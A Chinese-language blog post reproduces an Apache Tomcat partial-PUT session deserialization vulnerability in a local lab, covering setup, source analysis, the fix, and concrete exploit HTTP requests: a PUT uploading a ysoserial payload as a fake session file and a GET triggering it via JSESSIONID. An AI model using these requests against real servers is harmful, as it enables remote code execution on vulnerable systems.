前言
最近看到的漏洞,还涉及到Java、Tomcat和session反序列化,不得不学习了。
还是AI助我。
影响版本
先问问AI受影响版本然后再搭建环境:
该漏洞影响以下Apache Tomcat版本:
9.x系列:9.0.0.M1至9.0.98
10.x系列:10.1.0.M1至10.1.34
11.x系列:11.0.0.M1至11.0.2
(完整列表可参考Apache官方公告)
漏洞原理
来自AI总结。
文件名处理逻辑缺陷
当Tomcat的DefaultServlet启用写入功能时,处理PUT请求会将用户提供的文件路径中的斜杠/替换为点号.,并将文件写入临时目录(默认为$CATALINA_BASE/temp)。例如,攻击者构造的恶意路径/WEB-INF/web.xml会被转换为WEB-INF.web.xml,绕过目录层级限制。
会话持久化与反序列化链结合
若应用同时满足以下条件,攻击者可上传恶意序列化文件至会话存储目录,并通过JSESSIONID触发反序列化操作实现RCE:
- 启用DefaultServlet写入功能(默认禁用)
- 支持Partial PUT请求(默认启用)
- 使用Tomcat默认会话存储路径(需额外配置)
- 依赖存在反序列化漏洞的库(如commons-collections)
环境搭建
去官方网站下载一个9.0.98版本的Tomcat作为漏洞环境,解压即用很方便。
根据漏洞原理,漏洞搭建还需要完成三个步骤。
启用会话持久化
修改conf/context.xml,添加一段:
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
此配置将Session数据存储在默认路径$CATALINA_BASE/work/Catalina/localhost/下。
开启DefaultServlet写入权限
修改conf/web.xml文件,找到DefaultServlet配置,添加一段:
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
此配置允许通过PUT方法写入文件。
引入反序列化漏洞
在lib目录下面放一个含有反序列化漏洞的jar文件,比如commons-collections的jar文件。
漏洞分析
先观察一下PUT请求的处理方式,找到DefaultServlet类的doPut函数,一进来就看到判断readOnly配置:
if (this.readOnly) {
this.sendNotAllowed(req, resp);
}
如果将readOnly配置为了false,就会进入写入文件环节:
String path = this.getRelativePath(req);
WebResource resource = this.resources.getResource(path);
Range range = this.parseContentRange(req, resp);
if (range != null) {
InputStream resourceInputStream = null;
try {
if (range == IGNORE) {
resourceInputStream = req.getInputStream();
} else {
File contentFile = this.executePartialPut(req, range, path);
resourceInputStream = new FileInputStream(contentFile);
}
if (this.resources.write(path, resourceInputStream, true)) {
if (resource.exists()) {
resp.setStatus(204);
} else {
resp.setStatus(201);
}
}
...
}
}
executePartialPut函数会替换访问路径中的斜杠/为点号.:
String convertedResourcePath = path.replace('/', '.');
再来摸索一下Tomcat和session机制,写一个简单的test.jsp文件,放到webapps/test目录下:
<%@ page contentType="text/html;charset=UTF-8" %>
<html>
<body>
<!-- 存储Session -->
<%
session.setAttribute("count", 1);
%>
<!-- 获取Session -->
<p>访问次数: <%= session.getAttribute("count") %></p>
<!-- 删除Session -->
<a href="logout.jsp">退出登录</a>
</body>
</html>
该jsp可以保存和读取session,带上JSESSIONID访问并保存好数据后,关闭Tomcat,Tomcat就会将session的内容序列化后保存到文件里,session文件路径为work/Catalina/localhost/test。
测试一下PUT方法:
PUT /test/xxxxx/session HTTP/1.1
Host: localhost:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
test
然后在work/Catalina/localhost/test目录下就能看到.xxxxx.session文件了,由于PUT方式上传的虚假session文件跟正经的session文件都在同一个目录下,因此可以上传session,再设置JSESSIONID=.xxxxx来触发反序列化,但是session文件的格式看起来并不是简单的仅仅一个序列化对象,而是多种数据的结构体。
观察一下session的读取方式,根据修改了的配置文件,session持久化保存需要配置的类为PersistentManager和FileStore,将Tomcat的lib目录导入IDEA项目搜索一下就能找到类对应的字节码了。
找到FileStore类的save函数,关键代码如下:
FileOutputStream fos = new FileOutputStream(file.getAbsolutePath());
try {
ObjectOutputStream oos = new ObjectOutputStream(new BufferedOutputStream(fos));
try {
((StandardSession)session).writeObjectData(oos);
} catch (Throwable var9) {
try {
oos.close();
} catch (Throwable var8) {
var9.addSuppressed(var8);
}
throw var9;
}
oos.close();
}
使用StandardSession类的writeObjectData函数将session序列化后写入文件中,后面会进入到doWriteObject函数中:
protected void doWriteObject(ObjectOutputStream stream) throws IOException {
stream.writeObject(this.creationTime);
stream.writeObject(this.lastAccessedTime);
stream.writeObject(this.maxInactiveInterval);
stream.writeObject(this.isNew);
stream.writeObject(this.isValid);
stream.writeObject(this.thisAccessedTime);
stream.writeObject(this.id);
...
}
可以看到,session文件中确实存在多种序列化数据,但是也可以看到序列化过程统一使用的是writeObject,无论是long还是其他类型的数据,也就是说我们可以不管它的结构,只需要在session文件中存放一个序列化对象,就能触发反序列化了。
再观察一下反序列化过程,找到doReadObject函数:
this.authType = null;
this.creationTime = (Long)stream.readObject();
this.lastAccessedTime = (Long)stream.readObject();
this.maxInactiveInterval = (Integer)stream.readObject();
this.isNew = (Boolean)stream.readObject();
this.isValid = (Boolean)stream.readObject();
this.thisAccessedTime = (Long)stream.readObject();
this.principal = null;
先readObject再强行类型转换,那思路通。
漏洞利用
先把带有反序列化漏洞的commons-collections.jar放到webapps/test/lib目录下,再使用ysoserial生成一个序列化数据文件,同时base64编码一下,结果试了一下都不成功。
只能开始尝试调试Tomcat了,在IDEA中新建一个webapp项目,然后引入Tomcat的lib目录,再把commons-collections.jar放到lib目录下,最后配置本地Tomcat启动。
根据启动时的命令行信息,IDEA启动的Tomcat工作目录在用户的\AppData\Local\JetBrains\IntelliJIdea2024.3\tomcat\目录下,部署的目录为tomcat_war_exploded,因此需要发包:
PUT /tomcat_war_exploded/xxxxx/session HTTP/1.1
Host: localhost:8080
Content-Length: 1000
Content-Range: bytes 0-1000/1200
{{base64decode(序列化数据)}}}}
然后在工作目录的work\Catalina\localhost\tomcat_war_exploded目录下能看到上传的session文件,也可以给class文件下断点调试了。
然后带上JSESSIONID访问并且调试一下:
GET /tomcat_war_exploded/ HTTP/1.1
Host: localhost:8080
Cookie: JSESSIONID=.xxxxx
发现问题:
java.io.StreamCorruptedException: invalid stream header: FFFE08E1
看起来是Windows的锅,确实看base64后的序列化数据开头就不对劲。
直接使用IDEA打开ysoserial,重新生成base64编码后的payload再次尝试:
ByteArrayOutputStream bos = new ByteArrayOutputStream();
Serializer.serialize(object, bos);
String serializedBytes = new String(Base64.getEncoder().encode(bos.toByteArray()));
System.out.println(serializedBytes);
成功触发反序列化漏洞。
漏洞修复
根据AI:
代码层修复细节
官方在DefaultServlet的doPut方法中增加安全检查,限制临时文件路径的生成规则,避免用户输入的/被替换为.后绕过目录限制。具体修改涉及对executepartialput方法的调用逻辑。
修改了executePartialPut函数:
File tempDir = (File)this.getServletContext().getAttribute("javax.servlet.context.tempdir");
File contentFile = File.createTempFile("put-part-", (String)null, tempDir);
RandomAccessFile randAccessContentFile = new RandomAccessFile(contentFile, "rw");
删掉了将/变成.的代码。